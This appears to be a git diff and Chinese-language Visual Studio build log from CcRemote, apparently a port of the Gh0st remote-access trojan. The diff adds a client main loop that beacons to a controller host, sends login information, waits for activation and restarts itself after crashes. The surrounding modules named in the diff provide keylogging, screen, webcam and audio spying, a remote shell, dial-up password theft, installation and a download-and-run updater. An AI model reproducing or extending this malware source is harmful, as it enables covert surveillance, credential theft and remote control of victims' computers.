+g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” dllmain.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略 正在生成代码 - All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值 + All 342 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 - CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll + CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate index 3f4a20c..fd0ad53 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Release/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|F:\myapp\CcRemote\CcMainDll\| +Release|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/common/AudioManager.cpp b/CcMainDll/CcMainDll/common/AudioManager.cpp index f47df0c..069bccf 100644 --- a/CcMainDll/CcMainDll/common/AudioManager.cpp +++ b/CcMainDll/CcMainDll/common/AudioManager.cpp @@ -1,7 +1,7 @@ // AudioManager.cpp: implementation of the CAudioManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "AudioManager.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/AudioManager.h b/CcMainDll/CcMainDll/common/AudioManager.h index 208de2a..2936b18 100644 --- a/CcMainDll/CcMainDll/common/AudioManager.h +++ b/CcMainDll/CcMainDll/common/AudioManager.h @@ -10,7 +10,8 @@ #endif // _MSC_VER > 1000 #include "Manager.h" -#include "Audio.h" +#include "..\..\..\common\Audio.h" + class CAudioManager : public CManager { public: diff --git a/CcMainDll/CcMainDll/common/Dialupass.cpp b/CcMainDll/CcMainDll/common/Dialupass.cpp index 30f7754..e1e9143 100644 --- a/CcMainDll/CcMainDll/common/Dialupass.cpp +++ b/CcMainDll/CcMainDll/common/Dialupass.cpp @@ -1,6 +1,7 @@ // Dialupass.cpp: implementation of the CDialupass class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "Dialupass.h" #include "until.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/FileManager.cpp b/CcMainDll/CcMainDll/common/FileManager.cpp index 784a35d..a8f675f 100644 --- a/CcMainDll/CcMainDll/common/FileManager.cpp +++ b/CcMainDll/CcMainDll/common/FileManager.cpp @@ -199,7 +199,7 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) char *lpstrCat = NULL; memset(strTemp, 0, sizeof(strTemp)); - char *lpExt = strrchr(lpFile, '.'); + const char *lpExt = strrchr(lpFile, '.'); if (!lpExt) return false; @@ -231,9 +231,10 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) STARTUPINFO si = {0}; PROCESS_INFORMATION pi; + char local_lpDesktop[] = "WinSta0\\Default"; si.cb = sizeof si; if (nShowCmd != SW_HIDE) - si.lpDesktop = "WinSta0\\Default"; + si.lpDesktop = local_lpDesktop; CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); } @@ -252,8 +253,8 @@ UINT CFileManager::SendDriveList() unsigned __int64 HDFreeSpace = 0; unsigned long AmntMB = 0; // ܴС unsigned long FreeMB = 0; // ʣռ - - for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) + DWORD dwOffset = 0; + for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) { memset(FileSystem, 0, sizeof(FileSystem)); // õļϵͳϢС @@ -540,7 +541,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName) { WIN32_FIND_DATA wfd; char lpszFilter[MAX_PATH]; - char *lpszSlash = NULL; + const char *lpszSlash = NULL; memset(lpszFilter, 0, sizeof(lpszFilter)); if (lpPathName[lstrlen(lpPathName) - 1] != '\\') diff --git a/CcMainDll/CcMainDll/common/Manager.cpp b/CcMainDll/CcMainDll/common/Manager.cpp index 813a1ee..4088f71 100644 --- a/CcMainDll/CcMainDll/common/Manager.cpp +++ b/CcMainDll/CcMainDll/common/Manager.cpp @@ -3,7 +3,7 @@ ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" //---ʵCManagerʲôҲûʵ ȥgh0stôʹcClientSocketĵmain #include "Manager.h" #include "until.h" diff --git a/CcMainDll/CcMainDll/common/Manager.h b/CcMainDll/CcMainDll/common/Manager.h index 4eec781..3eebce1 100644 --- a/CcMainDll/CcMainDll/common/Manager.h +++ b/CcMainDll/CcMainDll/common/Manager.h @@ -10,7 +10,7 @@ #endif // _MSC_VER > 1000 #include #include "../ClientSocket.h" -#include "..\..\common\macros.h" +#include "..\..\..\common\macros.h" #include "until.h" #ifdef _CONSOLE #include diff --git a/CcMainDll/CcMainDll/common/ScreenManager.cpp b/CcMainDll/CcMainDll/common/ScreenManager.cpp index 0133e03..27393cc 100644 --- a/CcMainDll/CcMainDll/common/ScreenManager.cpp +++ b/CcMainDll/CcMainDll/common/ScreenManager.cpp @@ -1,10 +1,11 @@ // ScreenManager.cpp: implementation of the CScreenManager class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #define _WIN32_WINNT 0x0400 #include "ScreenManager.h" #include "until.h" -#include // BlockInput +#include // BlockInput ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.cpp b/CcMainDll/CcMainDll/common/ScreenSpy.cpp index 00c977e..96d4e27 100644 --- a/CcMainDll/CcMainDll/common/ScreenSpy.cpp +++ b/CcMainDll/CcMainDll/common/ScreenSpy.cpp @@ -1,6 +1,7 @@ // ScreenSpy.cpp: implementation of the CScreenSpy class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "ScreenSpy.h" #include "until.h" @@ -351,10 +352,13 @@ void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight) { UINT nJumpLine = 50; UINT nJumpSleep = nJumpLine / 10; // ɨ + int nOther; + int nToJump = 0; + int i = 0; // ɨĻ - for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump) + for (i = 0, nToJump = 0; i < nHeight; i += nToJump) { - int nOther = nHeight - i; + nOther = nHeight - i; if (nOther > nJumpLine) nToJump = nJumpLine; diff --git a/CcMainDll/CcMainDll/common/ScreenSpy.h b/CcMainDll/CcMainDll/common/ScreenSpy.h index 4b722c5..90208cf 100644 --- a/CcMainDll/CcMainDll/common/ScreenSpy.h +++ b/CcMainDll/CcMainDll/common/ScreenSpy.h @@ -5,7 +5,7 @@ #if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_) #define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_ #include -#include "CursorInfo.h" +#include "..\..\..\common\CursorInfo.h" #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 diff --git a/CcMainDll/CcMainDll/common/ShellManager.cpp b/CcMainDll/CcMainDll/common/ShellManager.cpp index dac96f0..0c54d79 100644 --- a/CcMainDll/CcMainDll/common/ShellManager.cpp +++ b/CcMainDll/CcMainDll/common/ShellManager.cpp @@ -1,7 +1,7 @@ // ShellManager.cpp: implementation of the CShellManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "ShellManager.h" ////////////////////////////////////////////////////////////////////// diff --git a/CcMainDll/CcMainDll/common/SystemManager.cpp b/CcMainDll/CcMainDll/common/SystemManager.cpp index 9250386..5bba1ac 100644 --- a/CcMainDll/CcMainDll/common/SystemManager.cpp +++ b/CcMainDll/CcMainDll/common/SystemManager.cpp @@ -2,7 +2,7 @@ // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "SystemManager.h" #include "Dialupass.h" #include @@ -73,7 +73,8 @@ void CSystemManager::SendDialupassList() CDialupass pass; int nPacketLen = 0; - for (int i = 0; i < pass.GetMax(); i++) + int i = 0; + for (i = 0; i < pass.GetMax(); i++) { COneInfo *pOneInfo = pass.GetOneInfo(i); for (int j = 0; j < STR_MAX; j++) diff --git a/CcMainDll/CcMainDll/common/VideoCap.cpp b/CcMainDll/CcMainDll/common/VideoCap.cpp index 0a27b74..c4ac6fc 100644 --- a/CcMainDll/CcMainDll/common/VideoCap.cpp +++ b/CcMainDll/CcMainDll/common/VideoCap.cpp @@ -1,6 +1,7 @@ // VideoCap.cpp: implementation of the CVideoCap class. // ////////////////////////////////////////////////////////////////////// +#include "..\pch.h" #include "VideoCap.h" //#include "..\DynamicAPI.h" #include "..\DynamicAPI.h" @@ -129,8 +130,9 @@ bool CVideoCap::Initialize(int nWidth, int nHeight) return false; } + int i = 0; // ͬ - for (int i = 0; i < 10; i++) + for (i = 0; i < 10; i++) { if (capDriverConnect(m_hWndCap, i)) break; diff --git a/CcMainDll/CcMainDll/common/VideoManager.cpp b/CcMainDll/CcMainDll/common/VideoManager.cpp index 8421eeb..6db80bb 100644 --- a/CcMainDll/CcMainDll/common/VideoManager.cpp +++ b/CcMainDll/CcMainDll/common/VideoManager.cpp @@ -1,7 +1,7 @@ // VideoManager.cpp: implementation of the CVideoManager class. // ////////////////////////////////////////////////////////////////////// - +#include "..\pch.h" #include "VideoManager.h" ////////////////////////////////////////////////////////////////////// @@ -120,7 +120,7 @@ void CVideoManager::ResetScreen(int nWidth, int nHeight) DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam ) { - static dwLastScreen = GetTickCount(); + static DWORD dwLastScreen = GetTickCount(); CVideoManager *pThis = (CVideoManager *)lparam; diff --git a/CcMainDll/CcMainDll/common/VideoManager.h b/CcMainDll/CcMainDll/common/VideoManager.h index b5c6ea4..b5b04b2 100644 --- a/CcMainDll/CcMainDll/common/VideoManager.h +++ b/CcMainDll/CcMainDll/common/VideoManager.h @@ -11,7 +11,7 @@ #include "Manager.h" #include "VideoCap.h" -#include "VideoCodec.h" +#include "..\..\..\common\VideoCodec.h" class CVideoManager : public CManager { public: diff --git a/CcMainDll/CcMainDll/common/install.cpp b/CcMainDll/CcMainDll/common/install.cpp index 14cb98b..fc391fc 100644 --- a/CcMainDll/CcMainDll/common/install.cpp +++ b/CcMainDll/CcMainDll/common/install.cpp @@ -1,3 +1,4 @@ +#include "..\pch.h" #include "install.h" #include "until.h" #include diff --git a/CcMainDll/CcMainDll/common/loop.h b/CcMainDll/CcMainDll/common/loop.h index 8cb93f4..520db10 100644 --- a/CcMainDll/CcMainDll/common/loop.h +++ b/CcMainDll/CcMainDll/common/loop.h @@ -148,7 +148,8 @@ DWORD WINAPI Loop_DownManager(LPVOID lparam) STARTUPINFO si = {0}; PROCESS_INFORMATION pi; si.cb = sizeof si; - si.lpDesktop = "WinSta0\\Default"; + char c_lpDesktop[] = "WinSta0\\Default"; + si.lpDesktop = TEXT("WinSta0\\Default"); CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi); return true; @@ -160,7 +161,7 @@ bool UpdateServer(LPCTSTR lpURL) { char *lpFileName = NULL; - lpFileName = strrchr(lpURL, '/') + 1; + lpFileName = (char *)(strrchr(lpURL, '/') + 1); if (lpFileName == NULL) return false; if (!http_get(lpURL, lpFileName)) diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index daed8c8..e902f44 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -1,5 +1,162 @@ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" +#include "common/KeyboardManager.h" +#include "common/KernelManager.h" +#include "common/login.h" + +char g_strSvchostName[MAX_PATH];//服务名 +char g_strHost[MAX_PATH]; +DWORD g_dwPort; +DWORD g_dwServiceType; + +enum +{ + NOT_CONNECT, // 还没有连接 + GETLOGINFO_ERROR, + CONNECT_ERROR, + HEARTBEATTIMEOUT_ERROR +}; + +DWORD WINAPI main(char *lpServiceName); +//处理异常 +LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { + // 发生异常,重新创建进程 + HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL); + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + return 0; +} + +DWORD WINAPI main(char *lpServiceName) +{ + // lpServiceName,在ServiceMain返回后就没有了 + char strServiceName[256]; + char strKillEvent[50]; + HANDLE hInstallMutex = NULL; + ////////////////////////////////////////////////////////////////////////// + // Set Window Station + HWINSTA hOldStation = GetProcessWindowStation(); + HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); + if (hWinSta != NULL) + SetProcessWindowStation(hWinSta); + // + ////////////////////////////////////////////////////////////////////////// + + + if (CKeyboardManager::g_hInstance != NULL) + { + //抛异常 + SetUnhandledExceptionFilter(bad_exception); + + lstrcpy(strServiceName, lpServiceName); + wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名 + + hInstallMutex = CreateMutex(NULL, true, g_strHost); + //ReConfigService(strServiceName); //--lang-- + // 删除安装文件 + // DeleteInstallFile(lpServiceName); //--lang-- + } + // 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人 + SetErrorMode(SEM_FAILCRITICALERRORS); + char *lpszHost = NULL; + DWORD dwPort = 80; + char *lpszProxyHost = NULL; + DWORD dwProxyPort = 0; + char *lpszProxyUser = NULL; + char *lpszProxyPass = NULL; + + HANDLE hEvent = NULL; + + //---这里声明了一个 CClientSocket类 + CClientSocket socketClient; + BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接 + while (1) + { + // 如果不是心跳超时,不用再sleep两分钟 + if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR) + { + // 2分钟断线重连, 为了尽快响应killevent + for (int i = 0; i < 2000; i++) + { + hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); + if (hEvent != NULL) + { + socketClient.Disconnect(); + CloseHandle(hEvent); + break; + break; + + } + // 改一下 + Sleep(60); + } + } + //上线地址 + lpszHost = g_strHost; + dwPort = g_dwPort; + + if (lpszProxyHost != NULL) + socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass); + else + socketClient.setGlobalProxyOption(); + + DWORD dwTickCount = GetTickCount(); + //---调用Connect函数向主控端发起连接 + if (!socketClient.Connect(lpszHost, dwPort)) + { + bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环 + continue; + } + // 登录 + DWORD dwExitCode = SOCKET_ERROR; + sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount); + //---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下 + CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort); + socketClient.setManagerCallBack(&manager); + + ////////////////////////////////////////////////////////////////////////// + // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误 + for (int i = 0; (i < 10 && !manager.IsActived()); i++) + { + Sleep(1000); + } + // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接 + if (!manager.IsActived()) + continue; + + ////////////////////////////////////////////////////////////////////////// + + DWORD dwIOCPEvent; + dwTickCount = GetTickCount(); + + do + { + hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent); + dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100); + Sleep(500); + } while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0); + + if (hEvent != NULL) + { + socketClient.Disconnect(); + CloseHandle(hEvent); + break; + } + } +#ifdef _DLL + ////////////////////////////////////////////////////////////////////////// + // Restor WindowStation and Desktop + // 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏 + // SetProcessWindowStation(hOldStation); + // CloseWindowStation(hWinSta); + // + ////////////////////////////////////////////////////////////////////////// +#endif + + SetErrorMode(0); + ReleaseMutex(hInstallMutex); + CloseHandle(hInstallMutex); +} BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, diff --git a/common/Audio.cpp b/common/Audio.cpp index 7786d65..961ec5d 100644 --- a/common/Audio.cpp +++ b/common/Audio.cpp @@ -1,7 +1,7 @@ // Audio.cpp: implementation of the CAudio class. // ////////////////////////////////////////////////////////////////////// - +#include "..\CcMainDll\CcMainDll\pch.h" #include "Audio.h" ////////////////////////////////////////////////////////////////////// @@ -143,8 +143,8 @@ bool CAudio::InitializeWaveOut() if (!waveOutGetNumDevs()) return false; - - for (int i = 0; i < 2; i++) + int i = 0; + for (i = 0; i < 2; i++) memset(m_lpOutAudioData[i], 0, m_nBufferLength); MMRESULT mmResult; diff --git a/common/CursorInfo.h b/common/CursorInfo.h index 4b3295f..5a1953f 100644 --- a/common/CursorInfo.h +++ b/common/CursorInfo.h @@ -60,9 +60,9 @@ public: ci.cbSize = sizeof(CURSORINFO); if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) return -1; + int i = 0; - - for (int i = 0; i < MAX_CURSOR_TYPE; i++) + for (i = 0; i < MAX_CURSOR_TYPE; i++) { if (ci.hCursor == m_CursorHandleArray[i]) break;